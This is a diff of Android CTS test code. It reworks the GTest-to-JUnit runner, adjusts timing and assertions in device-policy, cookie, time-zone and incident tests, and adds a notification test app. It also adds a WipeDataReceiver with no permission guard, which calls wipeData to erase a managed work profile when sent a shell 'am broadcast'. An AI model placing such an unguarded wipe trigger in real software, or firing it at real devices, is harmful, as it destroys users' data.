- createTestDescription(env, testCase->name(), testInfo->name()));
+ createTestDescription(env, className, testCase->name(), testInfo->name()));
addChild(env, suite, testDescription.get());
}
}
}
extern "C"
+JNIEXPORT void JNICALL
+Java_com_android_gtestrunner_GtestRunner_nAddTest(JNIEnv *env, jclass, jstring testName) {
+ const char* testNameChars = env->GetStringUTFChars(testName, JNI_FALSE);
+ auto found = gNativeTestNames.find(testNameChars);
+ if (found != gNativeTestNames.end()) {
+ found->second.run = true;
+ }
+ env->ReleaseStringUTFChars(testName, testNameChars);
+}
+
+extern "C"
JNIEXPORT jboolean JNICALL
-Java_com_android_gtestrunner_GtestRunner_nRun(JNIEnv *env, jclass, jobject notifier) {
+Java_com_android_gtestrunner_GtestRunner_nRun(JNIEnv *env, jclass, jstring className, jobject notifier) {
+ // Apply the test filter computed in Java-land. The filter is just a list of test names.
+ std::ostringstream filterStream;
+ std::vector<std::string> mangledNamesOfDisabledTests;
+ for (const auto& entry : gNativeTestNames) {
+ // If the test was not selected for running by the Java layer, ignore it completely.
+ if (!entry.second.run) continue;
+ // If the test has DISABLED_ at the beginning of its name, after a slash or after a dot,
+ // report it as ignored (disabled) to the Java layer.
+ if (entry.second.nativeName.find("DISABLED_") == 0 ||
+ entry.second.nativeName.find("/DISABLED_") != std::string::npos ||
+ entry.second.nativeName.find(".DISABLED_") != std::string::npos) {
+ mangledNamesOfDisabledTests.push_back(entry.first);
+ continue;
+ }
+ filterStream << entry.second.nativeName << ":";
+ }
+ std::string filter = filterStream.str();
+ if (filter.empty()) {
+ // If the string we built is empty, we don't want to run any tests, but GTest runs all tests
+ // when an empty filter is passed. Replace an empty filter with a filter that matches nothing.
+ filter = "-*";
+ } else {
+ // Removes the trailing colon.
+ filter.pop_back();
+ }
+ ::testing::GTEST_FLAG(filter) = filter;
+
auto& listeners = ::testing::UnitTest::GetInstance()->listeners();
- JUnitNotifyingListener junitListener{env, notifier};
+ JUnitNotifyingListener junitListener{env, className, notifier};
listeners.Append(&junitListener);
int success = RUN_ALL_TESTS();
listeners.Release(&junitListener);
+ junitListener.reportDisabledTests(mangledNamesOfDisabledTests);
return success == 0;
}
diff --git a/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
index 222a1a0..fe3a751 100644
--- a/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
+++ b/common/device-side/nativetesthelper/src/com/android/gtestrunner/GtestRunner.java
@@ -16,11 +16,24 @@
package com.android.gtestrunner;
+import java.util.Iterator;
+import java.util.List;
import org.junit.runner.Description;
import org.junit.runner.Runner;
+import org.junit.runner.manipulation.Filter;
+import org.junit.runner.manipulation.Filterable;
+import org.junit.runner.manipulation.NoTestsRemainException;
import org.junit.runner.notification.RunNotifier;
-public class GtestRunner extends Runner {
+/**
+ * Custom Runner that implements a bridge between JUnit and GTest.
+ *
+ * Use this Runner in a @RunWith annotation together with a @TargetLibrary
+ * annotation on an empty class to create a CTS test that consists of native
+ * tests written against the Google Test Framework. See the CTS module in
+ * cts/tests/tests/nativehardware for an example.
+ */
+public class GtestRunner extends Runner implements Filterable {
private static boolean sOnceFlag = false;
private Class mTargetClass;
@@ -41,7 +54,9 @@
}
System.loadLibrary(library.value());
mDescription = Description.createSuiteDescription(testClass);
- nInitialize(mDescription);
+ // The nInitialize native method will populate the description based on
+ // GTest test data.
+ nInitialize(testClass.getName(), mDescription);
}
@Override
@@ -50,10 +65,29 @@
}
@Override
- public void run(RunNotifier notifier) {
- nRun(notifier);
+ public void filter(Filter filter) throws NoTestsRemainException {
+ List<Description> children = mDescription.getChildren();
+ mDescription = Description.createSuiteDescription(mTargetClass);
+ for (Iterator<Description> iter = children.iterator(); iter.hasNext(); ) {
+ Description testDescription = iter.next();
+ if (filter.shouldRun(testDescription)) {
+ mDescription.addChild(testDescription);
+ }
+ }
+ if (mDescription.getChildren().isEmpty()) {
+ throw new NoTestsRemainException();
+ }
}
- private static native void nInitialize(Description description);
- private static native void nRun(RunNotifier notifier);
+ @Override
+ public void run(RunNotifier notifier) {
+ for (Description description : mDescription.getChildren()) {
+ nAddTest(description.getMethodName());
+ }
+ nRun(mTargetClass.getName(), notifier);
+ }
+
+ private static native void nInitialize(String className, Description description);
+ private static native void nAddTest(String testName);
+ private static native boolean nRun(String className, RunNotifier notifier);
}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
index ebf881a..50ca741 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -83,11 +83,11 @@
}
/** Returns true if the device is a low ram device:
- * 1. API level >= O
+ * 1. API level >= O_MR1
* 2. device has feature LOW_RAM_FEATURE
*/
public static boolean isLowRam() {
- return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O) &&
+ return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O_MR1) &&
hasSystemFeature(LOW_RAM_FEATURE);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index 51fa77b..97658eb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -32,6 +32,9 @@
private static final String INSTANT_COOKIE_APP_APK_2 = "CtsInstantCookieApp2.apk";
private static final String INSTANT_COOKIE_APP_PKG_2 = "test.instant.cookie";
+ // Wait time in msec to make sure the cookie is stored on disk.
+ private static final int WAIT_COOKIE_STORED = 1000;
+
private CompatibilityBuildHelper mBuildHelper;
@Override
@@ -66,6 +69,7 @@
"testCookiePersistedAcrossInstantInstalls1");
uninstallPackage(INSTANT_COOKIE_APP_PKG);
assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+ Thread.sleep(WAIT_COOKIE_STORED);
runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
"testCookiePersistedAcrossInstantInstalls2");
}
@@ -75,6 +79,7 @@
runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
"testCookiePersistedUpgradeFromInstant1");
assertNull(installPackage(INSTANT_COOKIE_APP_APK, true, false));
+ Thread.sleep(WAIT_COOKIE_STORED);
runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
"testCookiePersistedUpgradeFromInstant2");
}
@@ -85,6 +90,7 @@
"testCookieResetOnNonInstantReinstall1");
uninstallPackage(INSTANT_COOKIE_APP_PKG);
assertNull(installPackage(INSTANT_COOKIE_APP_APK, true, false));
+ Thread.sleep(WAIT_COOKIE_STORED);
runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
"testCookieResetOnNonInstantReinstall2");
}
@@ -95,6 +101,7 @@
"testCookiePersistedAcrossInstantInstalls1");
uninstallPackage(INSTANT_COOKIE_APP_PKG);
assertNull(installPackage(INSTANT_COOKIE_APP_APK_2, true, true));
+ Thread.sleep(WAIT_COOKIE_STORED);
runDeviceTests(INSTANT_COOKIE_APP_PKG_2, "test.instant.cookie.CookieTest",
"testCookiePersistedAcrossInstantInstalls2");
}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
index 054a5a5..5f537a3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SecurityLoggingTest.java
@@ -398,10 +398,10 @@
private void verifyOsStartupEventPresent(List<SecurityEvent> events) {
final SecurityEvent event = findEvent("os startup", events, TAG_OS_STARTUP);
- // Verified boot state
- assertTrue(ImmutableSet.of("green", "yellow", "orange").contains(getString(event, 0)));
- // dm-verity mode
- assertTrue(ImmutableSet.of("enforcing", "eio").contains(getString(event, 1)));
+ // Verified boot state, empty if running on emulator
+ assertTrue(ImmutableSet.of("", "green", "yellow", "orange").contains(getString(event, 0)));
+ // dm-verity mode, empty if it is disabled
+ assertTrue(ImmutableSet.of("enforcing", "eio", "").contains(getString(event, 1)));
}
private void verifyCryptoSelfTestEventPresent(List<SecurityEvent> events) {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
index ca2769b..acf142f 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SetTimeTest.java
@@ -23,6 +23,7 @@
import android.provider.Settings;
import java.util.Calendar;
+import java.util.TimeZone;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -35,7 +36,7 @@
private static final long TEST_TIME_2 = 100000000;
private static final String TEST_TIME_ZONE_1 = "America/New_York";
private static final String TEST_TIME_ZONE_2 = "America/Los_Angeles";
- private static final long TIMEOUT_SEC = 10;
+ private static final long TIMEOUT_SEC = 60;
// Real world time to restore after the test.
private long mStartTimeWallClockMillis;
@@ -65,9 +66,11 @@
mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_TIME_CHANGED));
try {
- assertTrue(mDevicePolicyManager.setTime(getWho(), testTime));
- assertTrue(latch.await(TIMEOUT_SEC, TimeUnit.SECONDS));
- assertTrue(System.currentTimeMillis() <= testTime + (TIMEOUT_SEC + 1) * 1000);
+ assertTrue("failed to set time", mDevicePolicyManager.setTime(getWho(), testTime));
+ assertTrue("timed out waiting for time change broadcast",
+ latch.await(TIMEOUT_SEC, TimeUnit.SECONDS));
+ assertTrue("time is different from what was set",
+ System.currentTimeMillis() <= testTime + (TIMEOUT_SEC + 1) * 1000);
} finally {
mContext.unregisterReceiver(receiver);
}
@@ -86,18 +89,30 @@
private void testSetTimeZoneWithValue(String testTimeZone) throws Exception {
final CountDownLatch latch = new CountDownLatch(1);
- BroadcastReceiver receiver = new BroadcastReceiver() {
+ final BroadcastReceiver receiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- latch.countDown();
+ if (testTimeZone.equals(intent.getStringExtra("time-zone"))) {
+ latch.countDown();
+ }
}
};
mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_TIMEZONE_CHANGED));
try {
- assertTrue(mDevicePolicyManager.setTimeZone(getWho(), testTimeZone));
- assertTrue(latch.await(TIMEOUT_SEC, TimeUnit.SECONDS));
- assertEquals(testTimeZone, Calendar.getInstance().getTimeZone().getID());
+ assertTrue("failed to set timezone",
+ mDevicePolicyManager.setTimeZone(getWho(), testTimeZone));
+ assertTrue("timed out waiting for timezone change broadcast",
+ latch.await(TIMEOUT_SEC, TimeUnit.SECONDS));
+
+ // There might be a delay in timezone setting propagation, so we retry for 5 seconds.
+ int retries = 0;
+ while (!testTimeZone.equals(TimeZone.getDefault().getID())) {
+ if (retries++ > 5) {
+ fail("timezone wasn't updated");
+ }
+ Thread.sleep(1000);
+ }
} finally {
mContext.unregisterReceiver(receiver);
}
@@ -105,8 +120,19 @@
public void testSetTimeZone() throws Exception {
mDevicePolicyManager.setGlobalSetting(getWho(), Settings.Global.AUTO_TIME_ZONE, "0");
- testSetTimeZoneWithValue(TEST_TIME_ZONE_1);
- testSetTimeZoneWithValue(TEST_TIME_ZONE_2);
+
+ try {
+ // If we are already in test time zone, use another one first.
+ if (TEST_TIME_ZONE_1.equals(TimeZone.getDefault().getID())) {
+ testSetTimeZoneWithValue(TEST_TIME_ZONE_2);
+ testSetTimeZoneWithValue(TEST_TIME_ZONE_1);
+ } else {
+ testSetTimeZoneWithValue(TEST_TIME_ZONE_1);
+ testSetTimeZoneWithValue(TEST_TIME_ZONE_2);
+ }
+ } finally {
+ mDevicePolicyManager.setGlobalSetting(getWho(), Settings.Global.AUTO_TIME_ZONE, "1");
+ }
}
public void testSetTimeZoneFailWithAutoTimezoneOn() {
@@ -121,13 +147,12 @@
private void restoreTime() {
mDevicePolicyManager.setGlobalSetting(getWho(), Settings.Global.AUTO_TIME, "0");
- mDevicePolicyManager.setGlobalSetting(getWho(), Settings.Global.AUTO_TIME_ZONE, "0");
final long estimatedNow = mStartTimeWallClockMillis +
TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - mStartTimeElapsedNanos);
mDevicePolicyManager.setTime(getWho(), estimatedNow);
mDevicePolicyManager.setGlobalSetting(getWho(), Settings.Global.AUTO_TIME, "1");
- mDevicePolicyManager.setGlobalSetting(getWho(), Settings.Global.AUTO_TIME_ZONE, "1");
+
}
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 3cb0bce..58e232b 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -191,6 +191,13 @@
</intent-filter>
</receiver>
+ <receiver android:name=".WipeDataReceiver">
+ <intent-filter>
+ <action android:name="com.android.cts.managedprofile.WIPE_DATA" />
+ <action android:name="com.android.cts.managedprofile.WIPE_DATA_WITH_REASON" />
+ </intent-filter>
+ </receiver>
+
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataReceiver.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataReceiver.java
new file mode 100644
index 0000000..0abea7d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataReceiver.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * Invoke wipeData(), optionally including a reason. This is used by host side tests to destroy the
+ * work profile. The call is triggered via a broadcast instead of run as a normal test case, since
+ * the test process will be killed after calling wipeData() which will result in a test failure if
+ * this were run as a test case.
+ */
+public class WipeDataReceiver extends BroadcastReceiver {
+
+ private static final String ACTION_WIPE_DATA = "com.android.cts.managedprofile.WIPE_DATA";
+ private static final String ACTION_WIPE_DATA_WITH_REASON =
+ "com.android.cts.managedprofile.WIPE_DATA_WITH_REASON";
+ private static final String TEST_WIPE_DATA_REASON = "cts test for WipeDataWithReason";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+ if (ACTION_WIPE_DATA.equals(intent.getAction())) {
+ dpm.wipeData(0);
+ } else if (ACTION_WIPE_DATA_WITH_REASON.equals(intent.getAction())) {
+ dpm.wipeData(0, TEST_WIPE_DATA_REASON);
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 2dd5a2a..360e141 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -160,11 +160,7 @@
return;
}
assertTrue(listUsers().contains(mProfileUserId));
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG,
- ".WipeDataTest",
- "testWipeDataWithReason",
- mProfileUserId);
+ sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
// Note: the managed profile is removed by this test, which will make removeUserCommand in
// tearDown() to complain, but that should be OK since its result is not asserted.
assertUserGetsRemoved(mProfileUserId);
@@ -186,14 +182,19 @@
return;
}
assertTrue(listUsers().contains(mProfileUserId));
- runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG, ".WipeDataTest",
- "testWipeData", mProfileUserId);
+ sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA");
// Note: the managed profile is removed by this test, which will make removeUserCommand in
// tearDown() to complain, but that should be OK since its result is not asserted.
assertUserGetsRemoved(mProfileUserId);
}
+ private void sendWipeProfileBroadcast(String action) throws Exception {
+ final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
+ + " -a " + action
+ + " com.android.cts.managedprofile/.WipeDataReceiver";
+ getDevice().executeShellCommand(cmd);
+ }
+
public void testLockNowWithKeyEviction() throws Exception {
if (!mHasFeature || !mSupportsFbe) {
return;
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.mk b/hostsidetests/incident/apps/notificationsapp/Android.mk
new file mode 100644
index 0000000..af1619e
--- /dev/null
+++ b/hostsidetests/incident/apps/notificationsapp/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsNotificationIncidentTestApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ androidx.legacy_legacy-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+LOCAL_JAVA_RESOURCE_DIRS := res
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml b/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
new file mode 100644
index 0000000..efafd69
--- /dev/null
+++ b/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.server.cts.notifications">
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ <activity android:name=".NotificationIncidentTestActivity" android:exported="true" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.server.cts.procstats" />
+</manifest>
diff --git a/hostsidetests/incident/apps/notificationsapp/res/drawable/icon_black.jpg b/hostsidetests/incident/apps/notificationsapp/res/drawable/icon_black.jpg
new file mode 100644
index 0000000..4c9062a
--- /dev/null
+++ b/hostsidetests/incident/apps/notificationsapp/res/drawable/icon_black.jpg
Binary files differ
diff --git a/hostsidetests/incident/apps/notificationsapp/src/com/android/server/cts/notifications/NotificationIncidentTestActivity.java b/hostsidetests/incident/apps/notificationsapp/src/com/android/server/cts/notifications/NotificationIncidentTestActivity.java
new file mode 100644
index 0000000..96c759c
--- /dev/null
+++ b/hostsidetests/incident/apps/notificationsapp/src/com/android/server/cts/notifications/NotificationIncidentTestActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.notifications;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.os.Bundle;
+import android.util.Log;
+
+public class NotificationIncidentTestActivity extends Activity {
+ final String TAG = "NotificationIncidentTestActivity";
+ final String NOTIFICATION_CHANNEL_ID = "LegacyNotificationManagerTest";
+ final String NOTIFICATION_CHANNEL_NAME = "LegacyNotificationManagerTest";
+
+ @Override
+ public void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+ Context context = this;
+ NotificationManager notificationManager =
+ (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
+ notificationManager.createNotificationChannel(
+ new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_NAME,
+ NotificationManager.IMPORTANCE_DEFAULT));
+
+ final Notification notification =
+ new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.icon_black)
+ .setContentTitle("notify")
+ .setContentText("This is notification ")
+ .build();
+ notificationManager.notify(1, notification);
+
+ Log.i(TAG, "Notification posted.");
+ }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 4454591..5237de9 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -169,7 +169,7 @@
// valid ranges.
assertTrue(summary.getJankyFrames() <= summary.getTotalFrames());
assertTrue(summary.getMissedVsyncCount() <= summary.getJankyFrames());
- assertTrue(summary.getHighInputLatencyCount() <= summary.getJankyFrames());
+ assertTrue(summary.getHighInputLatencyCount() <= summary.getTotalFrames());
assertTrue(summary.getSlowUiThreadCount() <= summary.getJankyFrames());
assertTrue(summary.getSlowBitmapUploadCount() <= summary.getJankyFrames());
assertTrue(summary.getSlowDrawCount() <= summary.getJankyFrames());
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index c62d85e..58784e9 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -24,6 +24,9 @@
private static final String TAG = "IncidentdTest";
public void testIncidentReportDump(final int filterLevel, final String dest) throws Exception {
+ if (incidentdDisabled()) {
+ return;
+ }
final String destArg = dest == null || dest.isEmpty() ? "" : "-p " + dest;
final IncidentProto dump = getDump(IncidentProto.parser(), "incident " + destArg + " 2>/dev/null");
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
index ca66ede..7ed16e1 100644
--- a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
@@ -21,7 +21,6 @@
import android.service.notification.ManagedServicesProto;
import android.service.notification.NotificationRecordProto;
import android.service.notification.NotificationServiceDumpProto;
-import android.service.notification.NotificationRecordProto.State;
import android.service.notification.RankingHelperProto;
import android.service.notification.RankingHelperProto.RecordProto;
import android.service.notification.ZenMode;
@@ -50,10 +49,23 @@
// These constants are those in PackageManager.
public static final String FEATURE_WATCH = "android.hardware.type.watch";
+ private static final String DEVICE_SIDE_TEST_APK = "CtsNotificationIncidentTestApp.apk";
+ private static final String TEST_APP_TAG = "NotificationIncidentTestActivity";
+ private static final String TEST_APP_LOG = "Notification posted.";
+ private static final String TEST_ACTIVITY =
+ "com.android.server.cts.notifications/.NotificationIncidentTestActivity";
+ private static final int WAIT_MS = 1000;
+
/**
* Tests that at least one notification is posted, and verify its properties are plausible.
*/
public void testNotificationRecords() throws Exception {
+ installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+ int retries = 3;
+ do {
+ getDevice().executeShellCommand("am start -n " + TEST_ACTIVITY);
+ } while (!checkLogcatForText(TEST_APP_TAG, TEST_APP_LOG, WAIT_MS) && retries-- > 0);
+
final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
"dumpsys notification --proto");
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index cd94f16..b17f3c4 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -267,4 +267,13 @@
return false;
}
+ protected boolean incidentdDisabled() throws DeviceNotAvailableException {
+ // if ro.statsd.enable doesn't exist, incidentd is disabled as well.
+ if ("false".equals(getDevice().getProperty("ro.statsd.enable"))
+ && "true".equals(getDevice().getProperty("ro.config.low_ram"))) {
+ CLog.d("Incidentd is not enabled on the device.");
+ return true;
+ }
+ return false;
+ }
}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/BusyWaitUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/BusyWaitUtils.java
similarity index 90%
rename from hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/BusyWaitUtils.java
rename to hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/BusyWaitUtils.java
index 11e858d..399b16d 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/BusyWaitUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/BusyWaitUtils.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.inputmethodservice.cts.devicetest;
+package android.inputmethodservice.cts.common;
import static org.junit.Assert.fail;
@@ -23,12 +23,12 @@
/**
* Utility class for busy waiting.
*/
-final class BusyWaitUtils {
+public final class BusyWaitUtils {
private static final long POLLING_INTERVAL = TimeUnit.MILLISECONDS.toMillis(50);
@FunctionalInterface
- interface PollingCondition {
+ public interface PollingCondition {
boolean check() throws Exception;
}
@@ -43,7 +43,7 @@
* this message.
* @throws Exception
*/
- static void pollingCheck(final PollingCondition condition, final long timeout,
+ public static void pollingCheck(final PollingCondition condition, final long timeout,
final String message) throws Exception {
if (waitFor(condition, timeout)) {
return;
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index 3d46894..9bdb7ef 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -36,9 +36,20 @@
return "settings get " + SETTING_DEFAULT_IME;
}
- /** Command to set current IME to {@code imeId}. */
- public static String setCurrentIme(final String imeId) {
- return "settings put " + SETTING_DEFAULT_IME + " " + imeId;
+ /** Command to set current IME to {@code imeId} synchronously */
+ public static String setCurrentImeSync(final String imeId) {
+ return "ime set " + imeId;
+ }
+
+ public static String getEnabledImes() {
+ return "ime list -s";
+ }
+ public static String getAvailableImes() {
+ return "ime list -s -a";
+ }
+
+ public static String listPackage(String packageName) {
+ return "pm list package " + packageName;
}
/** Command to enable IME of {@code imeId}. */
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 47ae8eb..348ea99 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -19,6 +19,7 @@
import static android.inputmethodservice.cts.DeviceEvent.isFrom;
import static android.inputmethodservice.cts.DeviceEvent.isNewerThan;
import static android.inputmethodservice.cts.DeviceEvent.isType;
+import static android.inputmethodservice.cts.common.BusyWaitUtils.pollingCheck;
import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType
.ON_BIND_INPUT;
